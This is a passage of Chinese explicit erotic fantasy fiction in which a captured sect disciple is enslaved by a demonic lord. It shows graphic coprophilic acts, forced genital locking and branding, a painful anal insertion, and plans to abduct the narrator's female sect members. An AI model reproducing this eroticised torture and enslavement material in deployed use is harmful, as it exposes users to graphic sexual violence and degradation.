“我要死了吗…就这样…被主人神圣的屁眼…活活压死、臭死、融化掉吗…”我的意识开始变得模糊,一种解脱般的轻松感,与对死亡的极致恐惧,以及对未能彻底完成“仪式”的病态遗憾,交织在一起,在我即将消散的灵魂中疯狂地盘旋。
就在我的意识即将彻底坠入永恒黑暗的最后关头,那一直紧紧贴在我干裂嘴唇之上的、属于清音师叔的那枚淡金色灵力唇印,竟然在此时此刻,开始微微地,散发出了一阵若有似无的、却又充满了难以置信的温暖与慈悲的奇异灵力波动!
“师叔…是师叔…!师叔她…她一定是在鼓励我…”
一股莫名的、几乎可以说是疯狂的力量,或者说是一种更加病态的最后执念,如同黑暗中唯一亮起的回光返照般,奇迹般地注入了我这具早已濒临崩溃的身体!
我用尽了全身最后一丝力气,强迫着自己那早已因为缺氧和恶臭侵蚀而变得麻痹不堪的舌头,艰难地、却又带着一种近乎殉道般的虔诚,试探性地伸了出去。
我的舌尖,首先触碰到的是那层如同最坚韧的万年玄铁般坚硬,紧紧闭合着的括约肌。
它如同最忠诚的卫士一般,守护着通往那更深邃的禁忌入口。
我不敢有丝毫的造次,只能用舌尖最柔软的部分,一遍又一遍地、轻柔地、虔诚地舔舐着那紧闭的肉褶,试图用我这卑贱的、却又充满了无限崇拜的口水,去软化它,去取悦它。
终于,那坚硬的壁垒,似乎被我这持续不断的、带着体温的舔舐所打动,微微地、几乎难以察觉地松动了一丝。
我心中一喜,连忙抓住这个千载难逢的机会,向更深处探去。
那是一片充满了粘滑湿润的、带着淡淡腥臊与奇异甜香的滚烫肠液的、温暖而又令人感到无比“安心”的黑暗世界!
我能清晰地感觉到我的舌头在那条狭窄而又充满了弹性、如同拥有生命般不断蠕动着的温热肠壁之间蠕动着,每一次深入的探索,都会刮蹭下一些顽固地粘附在柔嫩肠壁之上的、带着浓烈腥臭与主人独特体味的暗褐色污垢。
这些原本应该让我感到恶心反胃、恨不得立刻吐出来的污秽之物,此刻却立刻便与我那因为过度兴奋而不断分泌出来的、带着我独特体温与卑微渴求的滚烫唾液混合在了一起,形成了一种更加难以用任何语言来准确形容的、既令人作呕欲呕、却又带着一丝丝异样“甘甜”的奇异味道!
而那一缕源自清音师叔唇印的、微弱却又坚韧不灭的淡金色光晕,则如同黑夜风暴中永不熄灭的灯塔一般,始终温柔地、萦绕在我的唇齿之间,每一次清晰地感知到它的存在,都像是有一股无形而又强大的力量在支撑着我。
就在这时,一股奇异的灼热感,猛地从我那与主人屁眼最深处紧密贴合的嘴唇之上,如同电流般传递到了主人那神圣的屁眼之中,又在经过了某种神秘的转化与增幅之后,如同最强大的神魂烙印一般,反馈回了我颤抖的灵魂最深之处!
“有意思。”
一个带着几分赞赏的声音突兀地从我的头顶响起。
紧接着,压在我脸上的万钧重担,突然消失了。
一缕久违的光明重新刺入我的眼眸,伴随而来的是一阵短暂的晕眩。
我大口大口地喘着粗气,贪婪地呼吸着虽然依旧混杂着恶臭,但至少能够维持生命的空气。
在视野经历了短暂的模糊与重影,终于恢复了些许清明的一刹那,我勉强抬起了眼皮,望向了主人那刚刚离开我脸庞、还带着我嘴唇余温的伟岸屁眼。
只见在我先前嘴唇紧紧贴合的位置,一个散发着微弱而又充满了生命活力的青翠色光芒的、比清音师叔那淡金色的唇印略小了一圈的完美圆形标记,正清晰无比地烙印在那里!
它与清音师叔那枚散发着淡金色光晕的唇印,完美地、不偏不倚地重叠在了一起,就如同两颗在无边黑暗中相互依偎、相互取暖的孤独星辰,又像是一个刚刚降生于这污秽世界的新生灵魂,正在向一个早已沉沦其中的堕落灵魂,虔诚地寻求着指引与“祝福”。
那青翠色的光芒,充满了最原始的生机与最纯粹的活力,代表着一个旧我的彻底死亡,也标志着一个全新的、只属于万欲邪尊的卑贱雌畜——“月奴”的、充满无限“希望”与“荣耀”的新生!
万欲邪尊缓缓转过身,居高临下地审视着我。
他的目光刮过我那张因为长时间承受他臀部压迫、并在那令人窒息的恶臭熏蒸下而变得红肿不堪、沾满了各种可疑污迹的脸颊。
“哦?一个尚未经历任何正式‘改造’的口腔,竟能在本尊这般‘亲密’的压迫之下,存活这么久。”他低沉的嗓音中带着一丝不易察觉的惊讶,带着上位者审视的赞赏,“以前那些不中用的废物,大多在这个时候,五脏六腑怕是早就因为承受不住本尊那至阳至刚的浊气而腐烂衰竭,当场毙命了。看来,你这小贱畜,倒是很有些‘潜力’,也颇为适合给本尊…接屎啊。”
我像一滩烂泥般瘫软在那冰冷坚硬的血玉地面上,胸膛般剧烈地起伏着,每一次呼吸都伴随着“嗬嗬”的嘶哑抽气声。
腥臊黏腻的唾液不受控制地从我嘴角溢出,混合着脸上残留的、属于主人的污秽液体,以及我因为极致的羞辱与兴奋而失禁喷出的几滴精水,在地面上蜿蜒流淌,狼狈不堪到了极点。
先前那场如同灵魂献祭般将我的唇印烙印在主人屁眼最深处的仪式,几乎榨干了我全部的精气神,让我连动一动小指头的力气都难以凝聚,更遑论对主人的“夸奖”做出任何像样的回应。
就在这时,一股熟悉的、混杂了浓郁尿骚与屎臭,以及更深层次的、属于雌畜发情期独有的浓烈媚臭的温热气息,再一次悄无声息地贴近了我的脸颊。
只见清音师叔那双因为痴傻而显得格外浑浊的眼眸,正直勾勾地、带着一种奇异的专注,盯着我脸上那些被主人那如同山岳般沉重的屁股碾压出来的狰狞红痕、以及沾染其上的、早已变得黏腻干涸的各种难以名状的黄色、褐色污迹。
紧接着,那条母猪肉舌,再次伸了过来,带着一种令人头皮发麻的湿滑与温热。
“噗噜…❤…滋啦…哈…齁…❤”
清音师叔的舌头,如同沾满了肥皂沫的最温柔的抹布,又像是刚刚生产完的母兽在爱怜地舔舐着自己新生的幼崽一般,开始在我那红肿不堪的脸颊上,带着一种异样的虔诚与温柔,一下一下地舔舐起来。
她那湿滑肥厚的肉舌所过之处,那些早已凝固在我皮肤上的、带着主人独特体味的污垢、我因为恐惧和兴奋而渗出的冰冷汗珠、甚至还有一些从她那张不断泌出恶臭唾液的嘴角溢出的、属于她自己的腥臊口水,都被她那灵巧的舌尖一一卷入口中,然后伴随着一声声满足的、如同小猪吃奶般的“咕嘟”吞咽声,悉数吞咽了下去。
这一次,不知道是不是因为方才那场如同灵魂深处烙印般的“认主仪式”,让我的身体乃至灵魂都发生了某种不可逆转的异化,这股原本应该让我避之唯恐不及的恶臭,此刻闻起来,竟然似乎不再那么令人作呕,反而…反而带着一丝若有若无的、病态的“亲切感”和“熟悉感”。
我能感觉到,脸上那些因为被主人屁股碾压而火辣辣疼痛的部位,在清音师叔这温柔而又熟练的舔舐之下,竟然也奇迹般地缓解了不少。
那黏腻的、带着她独特体温的唾液,如同某种奇异的药膏般覆盖在我的皮肤上,带来一种略带麻痒的、奇异的舒适感。
过了好一会儿,在我感觉脸上的污物和不适感已经被清音师叔那张神奇的母猪嘴舔舐得七七八八之后,我才终于积蓄起一丝微弱的力气,努力地仰起头,望向依旧伟岸矗立在我面前的万欲邪尊,断断续续地说道:“谢…谢谢主人…咳咳…夸奖…月奴…月奴…一定会…会努力达到…达到…达到师叔…❤…这种…这种境界的咳…咳咳…”
万欲邪尊似乎对我与清音师叔之间这种充满了人兽不分意味的诡异亲昵毫不在意,他只是用一种饶有兴致的、仿佛在观赏一场精彩绝伦的表演般的眼神,饶有兴味地看着清音师叔一丝不苟地,用她那张专门用来接屎的母猪嘴,仔仔细细地将我脸上的所有污物都舔舐得一干二净。
直到清音师叔终于完成了她的“清洁工作”,心满意足地打了一个充满了浓郁骚臭与屎尿余韵的饱嗝之后,万欲邪尊才终于收回了那玩味的目光,开口对我说道:“呵,月奴啊,你倒真是让本尊刮目相看哪。从本尊坐上你那张还算清秀的贱脸开始,一直到刚才仪式结束,本尊粗略估计了一下,你那根不中用的废物小鸡巴,怕是就没消停过,一直在那儿控制不住地一抖一抖地往外喷精吧?啧啧,这前前后后的,没有七八回,怕是也有五六次了?”
我闻言,一股难以言喻的羞耻瞬间涌了上来。
下意识地低下头,只见我那根可怜的废物鸡巴,此刻正软趴趴地贴在我那同样沾满了各种污迹的大腿内侧。
而周围的血玉地面之上,赫然已经形成了一小滩面积不小的、散发着浓烈腥臊气息的白浊液体!
那液体粘稠而又浑浊,在昏暗的烛光下反射着暧昧而又淫靡的光泽,显然,那正是我在承受主人那如同泰山压顶般的屁眼压迫、以及那来自灵魂深处的极致羞辱与无边兴奋的轮番冲击之下,一次又一次失禁中射出的可耻精水!
“你这不中用的小贱畜,对本尊的屁眼竟能迷恋到如此地步,倒也算是一件好事。至少,省了本尊不少前期调教的功夫…”
他的话语微微一顿,眼神骤然变得锐利起来,一股无形的威压瞬间笼罩了整个大殿,压得我几乎喘不过气来。
“但是,月奴!”他的声音陡然拔高,每一个字都带着肯定的警告“你要给本尊!牢牢地记住!在这座象征着本尊无上权柄与绝对意志的极乐天宫之内!只有本尊,只有我万欲邪尊一人!才有资格随心所欲地、在任何本尊想要的时间、任何本尊想要的地方、对着任何本尊想要的对象,尽情地宣泄本尊的欲火!”
“而你,月奴!还有你那些即将被本尊彻底征服、彻底改造成只知雌伏承欢的的师尊师姐师妹们!从你们踏入这极乐天宫大门的那一刻起,便都不过是承接本尊那无穷无尽欲望的卑贱容器!是本尊可以随心所欲地玩弄、践踏、改造、甚至随意赏赐给任何一个本尊看得顺眼的魔崽子们的下贱牲畜!”
“在本尊没有明确允许之前,你这小废物,连一滴精水都不准给老子私自漏出来!听明白了么,嗯?!小废物?!”
话音未落,只见万欲邪尊原本随意垂在身侧的右手猛地抬起,食指与中指并拢如剑,指尖之上,一道凝练得近乎实质的、漆黑如墨、却又隐隐散发着令人心悸的毁灭气息的精纯魔气,骤然激射而出!
那道魔气并非是冲着我的身体而来,而是在我面前约莫三尺处的半空之中,如同拥有了生命一般,盘旋飞舞,发出一阵阵如同无数细小钢针在互相摩擦时才会发出的尖锐金属颤音。
随着这道黑色魔气的急速舞动,周围空气中那些原本肉眼不可见的、零散飘荡着的稀薄金属元气,竟然像是受到了某种无形的吸力一般,开始以一种肉眼可见的速度,疯狂地向着那道魔气的核心之处汇聚、凝结!
仅仅是眨眼之间,一小块约莫有我拇指指甲盖大小、通体漆黑如墨、表面却又不停地闪烁着幽暗寒光的奇异金属,便如同凭空造物一般,出现在了万欲邪尊的指尖之上。
那金属的质地看起来极为奇特,并非凡俗世界中的任何一种已知金属,其表面仿佛覆盖着一层不断流转的、如同水波般的细密魔纹,无时无刻不在散发出一股冰冷气息。
“锁魔玄晶!!!”
我虽然早已因为连番的刺激而变得神志不清,但那块黑色金属刚一出现,我便凭借着在踏月仙宗藏经阁中偶尔翻阅到的、关于各种天材地宝的驳杂记载,以及那股恐怖寒意,瞬间便认出了它的来历!
这赫然便是传说中,只有在魔渊最深处、历经万载魔气煞血的不断侵染与锤炼之后,才有可能凝结形成的、专用于制作各种顶级禁锢法器与绝杀魔兵的无上至宝——锁魔玄晶!
此等神物,坚硬无比,寻常仙家法宝难伤其分毫,更兼具着压制修士灵力运转、禁锢神魂念头生灭的恐怖功效!
万欲邪尊的嘴角勾起一抹残忍的冷笑,他那如同鹰爪般锐利有力的手指只是轻轻一弹,那块刚刚在他指尖凝聚成形的“锁魔玄晶”,立刻便化作一道肉眼几乎无法捕捉的黑色流光,射向了我那根刚刚因为被主人点名羞辱、而再次可耻地微微颤抖、甚至还想偷偷地滴下几滴稀薄精水的废物鸡巴!
“啊——!!!”我甚至连一声完整的、带着恐惧的惊呼都来不及发出,便只觉得一股仿佛要将我的整个下体都彻底撕裂开来的剧烈痛楚,猛地从我那根可怜的废物鸡巴之上传来!
那块冰冷坚硬的“锁魔玄晶”,在接触到我那柔软而又敏感的废物鸡巴的瞬间,便迅速地融化、变形、延展!
它仿佛拥有了生命一般,严丝合缝地覆盖在了我那根原本就因为自卑而蜷缩得不成样子的废物鸡巴之上,并且带着一股令人窒息的冰冷与沉重,迅速地向着我那早已被汗水浸透的鸡巴根部蔓延而去!
我能清晰无比地感觉到那些冰冷而又坚硬的金属物质,如同无数条细小的毒蛇般,疯狂地缠绕着,无情地收紧着,将我那根可怜的废物鸡巴,连同周围那些同样敏感脆弱的皮肉,都死死地压实在了我那光洁的耻骨之上!
这…这并非是我在那些下流春宫图中所见过的、那些仅仅是为了增加情趣、尚且留有一丝活动空间的笼式贞操锁!
这…这分明是更加歹毒、也更加充满了极致羞辱意味的、平板型锁具!
它永久地剥夺了我那根废物鸡巴任何一丝一毫想要抬头的机会!
任何想要因为兴奋而充血、想要因为欲望而膨胀的卑微冲动,都会被这块冰冷而又坚硬的金属板,无情地镇压下去,并最终转化成更加剧烈的无边痛楚!
“咔嚓——”
随着一声轻微的金属咬合声,那块“锁魔玄晶”最终在我废物鸡巴的根部彻底闭合,形成了一个完美的、没有任何缝隙的整体。
它冰冷地贴合着我的皮肤,如同生长在我身上的一部分,又像是一块沉重而冰冷的墓碑,宣判了我作为雄性所有能力的彻底死亡。
我下意识地伸手想要去触摸,却只摸到一片冰冷坚硬的金属。
透过那光滑的金属表面,我甚至还能隐约感觉到自己那根被压扁的废物鸡巴的微弱轮廓。
“结束了…一切都结束了…月奴…作为男人的月奴…已经死去了…❤”
但这,似乎还不是结束!
只见万欲邪尊缓缓抬起右手,指尖之上,再次凝聚出一缕细若发丝、却又散发着恐怖高温的黑色魔火。
凌空一划,那缕看似微弱的黑色魔火,便轻飘飘地、却又精准无比地落在了那块刚刚在我胯下形成的“锁魔玄晶”平板之上!
“滋啦——”
一阵青烟猛地冒起,伴随着一股淡淡的的焦糊气味。
我强忍着下体传来的的剧烈灼痛,艰难地低下头。
只见,在那块原本光滑如镜的黑色金属平板之上,两个龙飞凤舞、笔力雄健、充满了屈辱与奴役意味的魔道篆字,正散发着淡淡的、如同凝固了的鲜血般的猩红血光,深深地、永远地镌刻其上——
月奴!
这两个字苍劲有力,入木三分,笔锋之间透着一股毋庸置疑的、只属于魔道至尊的霸道与威严!
正是万欲邪尊的亲笔!
而在“月奴”这两个充满了无尽羞辱与绝对归属的血色大字下方,则是一个更为复杂、也更加充满了淫靡与亵渎意味的图腾印记——那是一朵在无边黑暗之中怒放的、盛开到极致的黑色妖莲,而在那黑色莲花最核心的花蕊之处,却赫然是一根硕大无比、狰狞挺立、仿佛要刺破苍穹的雄伟鸡巴!
这,正是极乐天宫的最高象征!
这冰冷的、镌刻着我耻辱名号与宗门印记的贞操锁,如同最恶毒的诅咒,死死地禁锢着我作为男性最后的一丝尊严。
我能清晰地感觉到,我那根可怜的废物鸡巴,被这沉重的金属平板压迫得扁扁的,紧紧地贴在我的耻骨之上,连一丝一毫想要抬头的空间都没有。
而那两颗流精卵袋,则孤零零地、充满了嘲讽意味地悬垂在平板之下,仿佛在无声地诉说着我此刻的悲哀与无能。
我试着微微动了动大腿,想要感受一下这件刚刚被主人“恩赐”给我的“新玩具”的重量与束缚感。
然而,只要我的那根不争气的废物鸡巴,有任何一丝一毫因为羞耻或兴奋而想要微微充血膨胀的迹象,那块坚硬冰冷的金属平板,便会立刻毫不留情地施加一股无情压力,将那点可怜的欲望,无情地碾碎成虚无!
随之而来的,便是一阵钻心的疼痛,如同潮水般一波波地冲击着我的神经。
“我完了…作为男人的能力…被彻底封死了…❤”
接着万欲邪尊的目光落在我身旁那块冰冷的踏月仙宗令牌上,嘴角勾起一抹莫测的弧度。
他并未弯腰,只是随意地抬了抬手指,那块沉重的令牌便如同被无形的丝线牵引一般,轻飘飘地悬浮起来,缓缓飞至他的掌心。
只是随意地、轻轻抬了抬手指。
那块原本沉重得足以砸断凡人腿骨的太阴玄晶令牌,便如同被丝线牵引一般,带着一种近乎于主动献媚般的驯顺,缓缓飞至他的掌心之中。
“呵呵,这东西,质地倒还算过得去,勉强能入本尊的法眼,用来给你这小骚货添件‘新玩具’,倒也算是物尽其用了。”他的手指轻轻摩挲着手中的令牌,那令牌之上原本纯净柔和的太阴灵光,在他雄浑魔气的无情侵染之下,开始发出阵阵微弱悲鸣,其上属于踏月仙宗的清正辉光,剧烈地摇曳不定,光芒忽明忽暗,眼看就要彻底消散。
“啊…师门的令牌…代表着宗门荣耀与传承的令牌…它…它也要被主人…被主人玷污了吗…❤”
紧接着,主人原本还只是随意把玩着令牌的五指,猛地、毫不留情地骤然收紧!
“嗡——!”
那块原本坚硬无比的太阴玄晶令牌,骤然间爆发出了一声尖锐长啸!
整个温润如玉的牌身,如同被投入了温度高达万度的炼丹炉中灼烧了千百年的凡铁一般,瞬间便开始变形、拉长、压缩!
与此同时,一道道耀眼夺目的惨白色光芒,从令牌内部的每一个细微纹路之中喷涌而出!
其光芒之炽烈,几乎要将这整座阴森内殿,都映照成不带一丝杂质的惨白白昼!
原本镌刻其上、代表着踏月仙宗荣耀与千年传承的“踏月”二字,以及那栩栩如生的弯月星辰图腾,在这狂暴白光之中,寸寸碎裂,最终化作了漫天飞舞的、闪烁着点点星光的无用齑粉!
“那是那是师尊她…她亲手为我刻上的印记啊…❤”
我眼睁睁地看着那曾承载了我无数记忆与情感的令牌,在主人手中被如此轻易地蹂躏,心中涌起一股难以言喻的、混杂了背叛的快感与对过往被彻底抹除的病态兴奋的复杂情绪。
紧接着,那团刺目耀眼的白光,在万欲邪尊的魔念操控之下,最终化作了一道约莫有我小指粗细的凝练光柱!
那光柱之上,充满了不祥与毁灭气息的恐怖波动,以迅雷不及掩耳之势,向着我身后那早已因为恐惧和期待而微微颤抖的娇嫩屁眼,激射而来!
“噗嗤——!”
一声清晰的的异物入肉声响起。
“啊啊啊啊啊啊啊啊…!!!齁❤…咿呀呀呀呀呀呀呀❤~~~!!!!”
剧烈的疼痛如同烧红的铁锥般狠狠地扎进了我的屁眼深处,瞬间贯穿了我的整个肠道!
那是一种从未体验过的、撕心裂肺的、仿佛要将我整个人都从中间劈开的恐怖痛楚!
我的身体因为这突如其来的剧烈痛楚而不受控制地剧烈痉挛着,如同被扔到滚烫铁板上的活鱼一般,每一次抽搐都伴随着从屁眼深处传来的、更加深入骨髓的撕裂般的痛楚。
那根被平板锁死死禁锢住的废物鸡巴,更是在这股难以忍受的剧痛的强烈刺激之下本能地试图再次充血膨胀,想要以这种徒劳的方式来宣泄和反抗。
然而,结果却只是徒劳地在那冰冷的金属板之下疯狂地抽搐,每一次不自量力的顶动,都只会引发更加残酷的束缚与更加剧烈的恐怖疼痛。
但诡异的是,在这股几乎要将我撕裂的剧痛之中,竟然还夹杂着一丝丝奇异的、难以言喻的快感!
那团闪烁着白光的灼热异物,在我那狭窄曲折、温暖而又湿滑的柔嫩肠道内,疯狂地翻腾、扭动、旋转与变形!
它那坚硬的、带着些许粗糙质感的表面,每一次在我那敏感的娇嫩肠壁之上粗暴地刮擦、顶弄,都会带来一阵阵如同刀割火燎般的剧痛。
但紧随其后的,便是一股股更加强烈、如同无数细小的电流般的强烈快感,从我肠道的每一个被狠狠侵犯的褶皱深处奔涌而出!
“咕啾…咕啾…❤”肠液被那团异物搅动、翻滚时发出的淫靡声音,不断地从我的屁眼深处传来,清晰地回荡在这空旷而寂静的内殿之中。
这种剧痛与快感交织的极致体验,几乎要将我的理智彻底摧毁!
我的身体早已完全不受控制,在地面上疯狂地翻滚、扭动,那两条白皙修长的双腿也在半空中胡乱地蹬踹着,试图将那该死的异物从体内排出。
然而,那异物却像是生了根一般,死死地盘踞在我的肠道深处,任凭我如何挣扎,都纹丝不动,反而因为我的扭动而更加深入地刺激着我那早已敏感不堪的肠壁。
万欲邪尊饶有兴致地欣赏着我这副在地上如同蛆虫般翻滚挣扎的丑态,他那张英俊脸庞上露出了残忍而满足的笑容。
他似乎对我的痛苦感到非常满意,眼神中闪烁着如同看待一件有趣玩具般的光芒。
不知道过了多久,就在我感觉自己的肠子都快要被那团该死的玩意儿给搅断,意识也因为持续不断的剧痛和快感而变得模糊不清的时候,那根一直在我那狭窄的肠道内疯狂肆虐的异物,终于如同玩腻了的顽童般,带着一丝意犹未尽的意味,停止了它那疯狂的扭动。
取而代之的,并非是解脱,而是一种更加精巧、更加具有目的性的细致塑形。
在我温暖的肠道之内,如同拥有一双看不见的、灵巧无比的巧手一般,缓缓地延展、收缩、打磨、凝固,最终化作了一根坚硬而冰凉的物体。
紧接着,那物体表面开始浮现出无数细小的、如同沙粒般的凸起颗粒。
每一个突起的颗粒都异常坚硬,带着一丝恰到好处的粗糙感,精准无比地、如同经验老道的老鸨用她那涂满蔻丹的指尖一般,开始在我那敏感无比、每一寸都布满了神经末梢的娇嫩肠壁之上,进行着一种极具技巧性的、令人发疯的按摩!
“这…这是难道…难道是!”
我那早已被接二连三的恐怖刺激冲击得几乎要彻底停摆的混乱大脑,在感知到这种全新的、更加精巧的内部折磨的瞬间,陡然间闪过一丝难以置信的、充满了恐惧与病态兴奋的明悟!
没错!
那块被主人用无上魔力改造的踏月仙宗令牌,此刻已然化作了一根晶莹剔透、闪烁着妖异白光的玉制肛塞!
它完美地契合着我屁眼的形状,表面那些精心设计的凸起颗粒,如同无数只灵巧的小手,正在我的肠道内壁上肆意地挑逗、抚弄、按压!
特别是那根玉制肛塞的最最前端,那个比其他所有颗粒都要稍微再粗大一些、形状也更加圆润饱满、并且还带着一个微微向上翘起的、充满了邪恶意味的猥琐弧度的特殊凸起!
正好死死地抵在了我肠道深处那个被修真者称为“阳元窍”的特殊穴位之上!
那“阳元窍”,据说乃是男子一身最为精纯、最为宝贵的阳刚精气的汇聚之所,其敏感程度,远超身体任何其他部位!
平日里深藏不露,一旦受到哪怕是最轻微的刺激,便会引发一阵阵难以用任何言语来准确形容的、足以将人的灵魂都彻底冲垮的恐怖快感!
“啊…啊啊…不…不要…❤那里…那里不可以…会…会坏掉的❤”
我几乎是在感知到那个邪恶的凸起精准地抵住我体内那个禁忌之地的瞬间,整个身体都控制不住地剧烈地抽搐了起来!
一股股足以将我的骨髓都融化的恐怖酥麻电流,猛地从我那被精准刺激的“阳元窍”之上疯狂爆发!
沿着我的脊椎疯狂地向上逆流!
逆流!
再逆流!
最终,以一种无可匹敌的恐怖威势,毫不留情地直冲我的天灵盖!
“啊…啊…嗯…月奴…月奴的屁眼…好…好舒服…哦齁齁齁齁齁齁齁齁❤…要…要去了…要被这根…这根主人赏赐的肛塞…给…给干高潮了啊啊啊啊❤!!!”
我再也抑制不住内心的骚动,张开嘴便发出一连串语无伦次的、充满了极致淫靡与堕落意味的浪叫声。
我的屁股更是不受控制地疯狂扭动起来,试图通过这种方式来缓解那深入骨髓的骚痒与快感,却又在每一次的扭动中,让那根邪恶的玉制肛塞更深地、更紧密地与我敏感的肠壁贴合、摩擦!
而我那根早已被彻底封印的废物鸡巴,在主人这近乎酷刑般的恩赐之下,更是如同垂死挣扎的蚯蚓般,在冰冷的“锁魔玄晶”之内徒劳地抽搐着,顶端那可怜的马眼不断地涌出一股股稀薄而腥臊的液体,混合着我因为过度兴奋而失禁流出的尿液,将我身下的地面弄得一片狼藉。
万欲邪尊那张英俊而邪异的脸上,露出了一个极为满意的笑容。
他居高临下地打量着我此刻这副因为极致的快感而扭曲变形的滑稽丑态,以及我那如同发情母猪般疯狂摇摆的屁股,声音中充满了掌控一切的威严:“这‘锁魂玉塞’,配上你这天生媚骨的骚屁眼,倒也算是相得益彰。再加上你这根废物鸡巴上的锁,本尊便将其赐名为——‘囚月锁’!给老子牢牢记住了,月奴!这,才是本尊为你量身打造的、独一无二的认主仪式!从现在开始,你这副下贱的肉体,连同你那早已经堕落的卑微灵魂,就完完全全地属于本尊一个人了!”
“噗哦哦哦哦哦哦哦哦哦哦哦哦哦哦哦哦哦哦❤~~~~!!!!!!!!”这段话如同最后一根稻草,彻底压垮了我早已濒临崩溃的神经。
我发出了一声更加凄厉、更加淫荡的、充满了无上喜悦与极致屈辱的复杂叫声!
在体内那根肛塞持续不断的、越来越强烈的刺激下,我的身体已经完全不受控制。
大量的骚水如同决堤的洪水般从我前端的尿道口喷涌而出,瞬间浸湿了我的大腿和身下的地面。
我的屁眼也在剧烈的痉挛中,不受控制地排出了一股股腥臭粘稠的肠液,与地上的精液混合在一起,散发出更加令人作呕的淫靡气味。
不知过了多久,我才从那阵几乎要将我灵魂都撕裂的恐怖高潮中渐渐缓过神来。
我颤抖着,用尽最后一丝力气,缓缓地从地面上爬了起来,然后将双手交叠平放在冰冷的血玉地面上,额头紧紧地贴着手背,腰肢尽力向下塌陷,同时将我那插着玉制肛塞的屁股高高地向上撅起,以最为标准、最为虔诚的迎接跪姿,跪伏在了万欲邪尊那双散发着浓郁雄性气息的大脚之前,用带着哭腔却又充满了无限感激与崇拜的声音说道:
“月奴…❤叩谢…叩谢主人…❤❤赏赐如此…如此神圣的‘囚月锁’与‘锁魂玉塞’…❤齁…月奴…月奴今后…一定一定洗心革面…痛改前非…只做主人您…最最下贱的最最听话的雌奴…❤从今往后…月奴的这副下贱身体…❤这颗卑微灵魂…❤就完完全全…❤彻彻底底…❤都属于主人您一个人的了…❤请主人…❤随意使用…❤随意玩弄…❤随…随意赏赐给任何人…❤齁…噗…嗯啊…❤只要…只要能让主人开心…❤月奴…月奴什么都愿意做…❤什么都…都心甘情愿啊啊啊啊啊❤~~~~!!!!!”
万欲邪尊似乎对我此刻这副卑贱到了极点、充满了谄媚与乞求的丑态,已经失去了最初那份因为好奇而产生的强烈新鲜感。
他微微打了个哈欠,那张英俊邪异的脸上,露出一丝只有在享用完美食之后才会出现的、略带倦怠的满足神色。
“呵呵,今天倒也算是有那么点意思。”万欲邪尊的声音中带着满足之后才会有的慵懒,“你这小废物,倒也比本尊最初想象的,要稍微耐玩了那么一点点。”
他顿了顿,似乎在思考着什么,随即随意地摆了摆手,说道:“烟罗,出来吧。”
话音刚落,就在我身旁不远之处,那片原本空无一物、只有摇曳不定的昏暗烛光投下的阴影之中,空气突然无声地荡漾起来,形成了一道道涟漪波纹。
紧接着,一道妖娆妩媚的红色身影如同鬼魅般从那片扭曲的阴影中袅袅娜娜地走了出来。
“她…她刚刚…她刚刚竟然一直都躲在那片阴影之中…将我…将我这丑态…都看得一清二楚吗?!”
烟罗走到万欲邪尊身前三尺之处,盈盈下拜,柔若无骨的腰肢弯成一个诱人的弧度,声音更是甜得发腻,带着一种能钻进人骨髓的酥麻:“参见主人。恭喜主人,贺喜主人,又成功收服了一只如此特别、如此有趣的下贱雌畜呢~❤”
她那双勾魂的凤眼在我身上肆无忌惮地打量着,目光重点停留在我那被贞操锁死死禁锢的废物鸡巴,以及插着玉制肛塞、此刻依旧不受控制地微微抽搐着的屁眼之上。
那眼神中充满了毫不掩饰的轻蔑、玩味,与一丝…贪婪?
万欲邪尊显然很享受烟罗这种充满了智慧与奉承的甜言蜜语,他懒洋洋地半倚在龙椅的扶手之上,声音带着轻松与随意:“行了,少在本尊面前卖弄你那点不值一提的小聪明。这小废物,现在就正式交给你了。你且带他下去,给他熟悉一下我们这极乐天宫的规矩,顺便嘛…也跟他好好地‘商量商量’,看看要用什么法子,才能把他那几位依旧不知死活地躲在踏月仙宗那个穷酸小破庙里的师尊、师姐、师妹们,也一并给本尊‘请’到极乐天宫来,让她们也好好地‘品尝品尝’,这红尘俗世之中的极乐滋味。”
说到最后几个字,他的语气中充满了残忍的意味。
“奴家遵命~❤主人您就请好吧~❤”烟罗再次娇媚入骨地嫣然一笑,那笑容如同盛开的罂粟花,美丽却又充满了致命的危险。
她再次向万欲邪尊行了一礼,然后便款款起身,扭动着那肥硕的骚臀向我走来。
万欲邪尊似乎已经对我这个刚刚完成“认主仪式”的卑贱新奴失去了所有的兴趣,又或者,他已经迫不及待地想要再次享用他那位于龙椅之下的、更加“专业”、也更加“美味”的“活体便器”了。
在烟罗刚刚走到我身边,内殿那沉重的殿门尚未完全关闭的最后时刻,我眼角的余光瞥见,他那庞大魁梧的身躯已经毫不犹豫地重新坐了下去,那两瓣饱满结实的臀肉再次完美地覆盖在了清音师叔那张早已被践踏得不成样子的母猪脸上。
殿门闭合前的最后一刹那,我甚至还听到了一声微弱的、如同小狗找到了骨头般的满足呜咽,那紧闭的殿门缝隙之中,隐隐约约地飘了出来。
“咯咯咯…咯咯咯咯❤…”身旁的烟罗突然发出了一阵银铃般清脆悦耳,却又充满了毫不掩饰的嘲弄意味的媚笑声。
她走到我面前,伸出她那纤纤玉指,轻轻勾起我的下巴,强迫我抬起头与她对视。
她那双狭长的凤眼中充满了戏谑的笑意:
“哎呀呀,这位踏月仙宗的道友,哦,不对不对,瞧奴家这记性,奴家现在,应该称呼您为…‘月奴’,才对呢❤。”她的声音甜得发腻,媚得入骨,每一个字都像是涂满了能将人的骨头都彻底酥化掉的浓稠蜜糖,却又带着一丝丝令人不寒而栗的冰冷与残忍,“奴家今天,可真是看了一场毕生难忘的好戏呢~嘻嘻,尤其是月奴你最后那副被主人赏赐的玉塞折磨得浪叫连连的模样,可真是啧啧,让奴家都有些嗯…情难自已,忍不住想要立刻就把你拖到塌上,好好地‘疼爱’一番了呢❤~”
她一边娇笑着,一边故意将她那柔软丰腴、散发着如同熟透了的水蜜桃般甜腻诱人的浓郁雌香的娇媚玉体,更加紧密地向着我贴近了几分。
我能清晰无比地闻到,从她那身薄如蝉翼、几乎透明的嫣红色轻纱宫装之下,源源不断地散发出的那股浓郁得几乎要化为实质的、混合了顶级魔界奇花异香与成熟雌性在发情期才会有的、带着一丝丝淡淡腥膻与原始骚味的独特荷尔蒙气息。
这股复杂而又充满了致命诱惑的香气瞬间便将我体内那刚刚因为极致高潮而暂时平息下去的原始欲火,再次点燃了起来!
她那双白皙柔嫩、指甲上闪烁着妖异红光的修长玉手,看似充满了亲昵与爱怜地轻轻揽住了我微微颤抖的肩膀,用一种充满了绝对掌控意味的温柔力道,带着我一同向着内殿之外,缓缓走去。
我此刻全身赤裸,身上只固定着那冰冷的平板贞操锁和深埋在屁眼内的玉制肛塞,每走一步都牵动着难以言喻的痛楚与异样的快感。
